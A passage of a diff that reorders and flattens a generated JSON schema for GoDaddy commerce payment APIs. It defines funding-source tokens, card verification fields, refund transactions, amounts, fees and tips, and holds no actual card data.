+ "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true - } - }, - "required": [ - "token" - ] + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } - } + }, + "type": "object", + "writeOnly": true } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "required": [ + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } - } + }, + "type": "object", + "writeOnly": true } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Paypal token", + "type": "string", + "writeOnly": true + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "required": [ + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" + } + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Refund Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + }, + "responses": { + "201": { + "description": "Refund payment completed successfully", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } - } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "type" - ] + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } ], "properties": { - "token": { - "type": "string", - "description": "Paypal token", - "writeOnly": true + "amountType": { + "type": "string" } }, - "required": [ - "token" - ] - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } - }, - "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" - } - }, - "required": [ - "sourceType" - ] - }, - "paymentContext": { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "authorizations": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Authorization Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } }, - "amount": { - 